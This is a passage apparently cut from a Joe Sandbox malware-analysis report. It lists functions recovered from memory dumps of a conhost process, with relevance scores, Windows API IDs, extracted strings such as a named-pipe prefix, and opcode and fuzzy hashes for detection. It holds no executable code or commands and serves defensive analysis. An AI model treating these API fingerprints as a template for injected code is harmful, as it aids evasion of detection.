                                            • API String ID: 756756679-3528709123
                                            • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction ID: 4140b7d931e0c5ed277f044a265121a65c03bfa699d793ea4e115ad75e9f9e94
                                            • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction Fuzzy Hash: DD31B536302B6592EA10CF96E9417BB67B0FB49B82F444138DE4847B59EF34C4638311
                                            Function 000001AFBC54CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast
                                            • String ID:
                                            • API String ID: 2506987500-0
                                            • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction ID: 6eb9f7a10ede253d45269cc48ffbd4be9eba02ea75b88bccfb7b55ae7cab28de
                                            • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction Fuzzy Hash: 13115E7030728042FA64D7A6D9453FB21715B8F7B6F14073CE876877DEEE2894439222
                                            Function 000001AFBC54199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                            • String ID:
                                            • API String ID: 517849248-0
                                            • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction ID: 7cb8a45a0f8ffe53df7c687f10f47adbb6d67c071ef118e5a30d78d6c4ba2319
                                            • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction Fuzzy Hash: 8A015B35311A8082EA54DB92E4483AA63B1F78DBC6F884039DE4943758DE38C58BC751
                                            Function 000001AFBC5436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                            • String ID:
                                            • API String ID: 449555515-0
                                            • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction ID: 84b6c92ac97b01b76a403ce7041411f165ef8f6caaa89668629a18f4f44d0d53
                                            • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction Fuzzy Hash: 27010C79312B4482EB24DBA2E8187A763B0BB4EB87F040438C98907765EF3DC1178721
                                            Function 000001AFBC549005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: bde4ae17a06f1c21a5807440f81e3cf83b19292b6f9d6931ed4a1e5efad905b0
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: 7151A232712240C6EB54CB55D489BAA37B9F34AB8AF509138DA264374CDB35D843C721
                                            Function 000001AFBC548FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 7550f7cb3c90e2bac6ea7802eb6f9839cfb23e206c2073458cd822806bf14f5d
                                            • Instruction ID: 7b414e32bc95e162ec7b813e6091acb3032debe58da9ea5744e29a65715b14f6
                                            • Opcode Fuzzy Hash: 7550f7cb3c90e2bac6ea7802eb6f9839cfb23e206c2073458cd822806bf14f5d
                                            • Instruction Fuzzy Hash: 9631C431312640C6E714DF51E8897AB3779F74AB8AF158028EE6A0374DDB39C943C716
                                            Function 000001AFBC541A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: FinalHandleNamePathlstrlen
                                            • String ID: \\?\
                                            • API String ID: 2719912262-4282027825
                                            • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction ID: 9875e12be1a28ff14ed11a25232195a671b96306df28fd09e35e957b5f509c07
                                            • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction Fuzzy Hash: 6FF08C7631068082EB60CBE1E8843AB6370F74DBCAF844038CA4947A58DE2CC68FCB11
                                            Function 000001AFBC543044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CombinePath
                                            • String ID: \\.\pipe\
                                            • API String ID: 3422762182-91387939
                                            • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction ID: 98cd117f518929e7db9a3c1b5315de463b7d5cfe370886d7f821df8df70a5819
                                            • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction Fuzzy Hash: 06F05E79315B8082EA44CB92F9043AA6270AB4EFD2F044138EE4A07B28DE38C4478711
                                            Function 000001AFBC54BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction ID: 030b13cbbb586005c3adcab8bf6ddf69cbe916194aa6293c8c81c10c949b4b2a
                                            • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction Fuzzy Hash: BBF06275323A4581EB10CBA4E4443BB6330EB8E7A2F54022DDA6A472F8CF2CC147C361
                                            Function 000001AFBC5450D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction ID: b3ffb37520aa90a03c10ad5403646a29fa74a25be47446f452726e418fe57be9
                                            • Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction Fuzzy Hash: 5E02CC3261AB8486D760CB95E4903ABB7B1F3C9795F500029EACE87B69DF7CC446CB11
                                            Function 000001AFBC545710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction ID: 9ee89d190ae5b26bbd75afa1570b9b4297942b909c95eb7ce50df435aa40012d
                                            • Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction Fuzzy Hash: 4361C83661AA44C6E760CB95E44436BB7B0F38D785F500139EA8E87BA8DB7CC446CB51
                                            Function 000001AFBC523504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 2eccfab791a2323a28eea42f9ca667b2766b336540767e57cc3107b603dfc5d8
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: B011C432751A0141FA54B2E8EC513FB96E86F5F372F48463DE96A0F2D78B24C8834122
                                            Function 000001AFBC554104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 073a4c6c139a00953d544ac2eb5f282305392b39a4c142a4764b6aa6d429663a
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: 4411913AB12B5013F76495E8D4533F711716B6F3FAF08063CE976176D68B24E8436222
                                            Function 000001AFBC51F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: b05ddbdf4e7a49f3530e99aa290f304562eb3485e737d55d85aa1f5dfc45e2ab
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: 1D61B13670264042F665DBE5DC483BB26B1A38FB52F54463DCA5A877ACDB34CC438222
                                            Function 000001AFBC54AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CallEncodePointerTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3544855599-2084237596
                                            • Opcode ID: 666acc49fd6df01ba370cb9f51a420fe53debf1fde292996eb6e5d688c21119e
                                            • Instruction ID: faf49b8fb85dd8da4f3bbecd2b60e4e99bf2dbdecf8756fc322c4ea21005ffce
                                            • Opcode Fuzzy Hash: 666acc49fd6df01ba370cb9f51a420fe53debf1fde292996eb6e5d688c21119e
                                            • Instruction Fuzzy Hash: 40614C32702B848AEB50DFA6D4803EE77B1F359B89F044229EF4917B98DB38D556C711
                                            Function 000001AFBC51A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 2eb407240e46380409709e1726eec131107a872abf67eceae5b77a1f15ee6f6d
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: D6518232301280CAEB75CB95D4483FA77B0FB5AF96F184229DA5987B99CB38D453C712
                                            Function 000001AFBC54AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: e16e2cd26f24e852673171b2f66219316a1fcdf926a659ba5630509cc0e42f08
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: B45173763012808AEBA4CF96D5843AA77B0F35AB86F14412DDA5947BDDCB34D493C722
                                            Function 000001AFBC518405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: e0c054d97faa6edbc4841fa3f85e5d9518017c4d18cfa532d6d829d1adc85917
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: A1519C3270260096DB24DF55D448BEA33A5F34AF9AF578038DA164778DEB75C8438736
                                            Function 000001AFBC5183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: 3af01c53112a4f18b4bf9744a639de11df991fd06fccdd96dcf019f908026aca
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: D831813230264096E724DF52E8487EA77B4F34AFDAF568028EE5607749DB39C943C726
                                            Function 000001AFBC552058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: FileWrite$ConsoleErrorLastOutput
                                            • String ID:
                                            • API String ID: 2718003287-0
                                            • Opcode ID: ea223cb16a8c30a4614ff2808b6cc602d8108756aca582718aba659200e53d04
                                            • Instruction ID: 122f1443d1a30da828dd6dd873c7367498cc7d5139547da0beb8a3928fe2235e
                                            • Opcode Fuzzy Hash: ea223cb16a8c30a4614ff2808b6cc602d8108756aca582718aba659200e53d04
                                            • Instruction Fuzzy Hash: 78D11276716A8489E711CFB9D8403EE3BB1F35A79AF00422ACE5997B99DA34C407C351
                                            Function 000001AFBC5414A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Free
                                            • String ID:
                                            • API String ID: 3168794593-0
                                            • Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction ID: 3b4f3e5eeaf6afdc6464d4d0202cb678f8a09187cc3b3f5f26219c9ed3a6adfb
                                            • Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction Fuzzy Hash: A7115A3A622ED086E714DBA2E8043AA77B0F78EB82F044039DA491371ADE34C0538751
                                            Function 000001AFBC552980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: ConsoleErrorLastMode
                                            • String ID:
                                            • API String ID: 953036326-0
                                            • Opcode ID: 132266061ff4b9b8da68bf4eb15db926e852afbe6260eee4876dca9e3c8d8076
                                            • Instruction ID: 43a7c73b401edeb2feb0827fa99b71d66ef2f60fdcc1f0638bbbb9ca1108b469
                                            • Opcode Fuzzy Hash: 132266061ff4b9b8da68bf4eb15db926e852afbe6260eee4876dca9e3c8d8076
                                            • Instruction Fuzzy Hash: 7591C07AB0265885F760DFA5C8403FE2BB0B71AB9BF14412DDE4A57A95DA34C483C722
                                            Function 000001AFBC547960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                            • String ID:
                                            • API String ID: 2933794660-0
                                            • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction ID: 23fd18487dfea4e020b36d3caaeec8ad81f7baa6a80db754529c19864615c8df
                                            • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction Fuzzy Hash: 60113A36711F418AEB40CBA0E8553BA33B4E31A769F440E35DAAD437A4DF78C19A8290
                                            Function 000001AFBC54253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: f9ae2ac97f4d715802434cfbd0ca4b9e1963434c5062de052308e56cf21b1c36
                                            • Instruction ID: 967e1665751afcdaf2a40daa377e334ca8dccd4ac4c8fa35d5a3213e35443bee
                                            • Opcode Fuzzy Hash: f9ae2ac97f4d715802434cfbd0ca4b9e1963434c5062de052308e56cf21b1c36
                                            • Instruction Fuzzy Hash: 8D71CE36302B9586E624DEA5EC443FB66B0F38EB86F44003ADD0A53B9DDE34C6438711
                                            Function 000001AFBC519E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: bbb07bebf6921e91a747d8936f3d7f4b8436abdb5c8fd6154240c2dc49a974b4
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: BE618936702B848AEB20CFA5D0843EE77B0F749B89F044229EF5917B98DB38D196C711
                                            Function 000001AFBC542330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 94153bbf33019caaa40224d47f7b4f8b7f9df6d428528a95645a5a22a8f385cf
                                            • Instruction ID: 67b05a8c0cf720271308226a717553685fe33cf892dcd75c7e33915ff2a78701
                                            • Opcode Fuzzy Hash: 94153bbf33019caaa40224d47f7b4f8b7f9df6d428528a95645a5a22a8f385cf
                                            • Instruction Fuzzy Hash: F951113270639581E664DEAAE8583FB6670F39E783F44013DCE4903B9EDA39C5078762
                                            Function 000001AFBC5526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: U
                                            • API String ID: 442123175-4171548499
                                            • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction ID: 295048c59590e8054d7e6aa5fdf121aa015287c38449c3382b4a6d06de0f359c
                                            • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction Fuzzy Hash: 1F418E76326A8486DB20CFA5E8443EA67B0F799795F404039EE4D87798EB38C443CB51
                                            Function 000001AFBC5494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: ExceptionFileHeaderRaise
                                            • String ID: csm
                                            • API String ID: 2573137834-1018135373
                                            • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction ID: f6b3b55573afc424faa85c2d353ed70a2ee5d018316b08b0dcd606c185d30460
                                            • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction Fuzzy Hash: 4B112B36215B8082EB61CB15E4403AA77E5FB89B95F584224EE8C47B59DF3CC552CB00
                                            Function 000001AFBC517356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: e9c828ba714dd37ac94a670972fd563f6154ad2898c2eafd49d117bceaec99b9
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: 29E04F61741B4490DB019F61E8403E933A09B5DB64B889122D95C4B315EA38D1EBC311
                                            Function 000001AFBC5173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
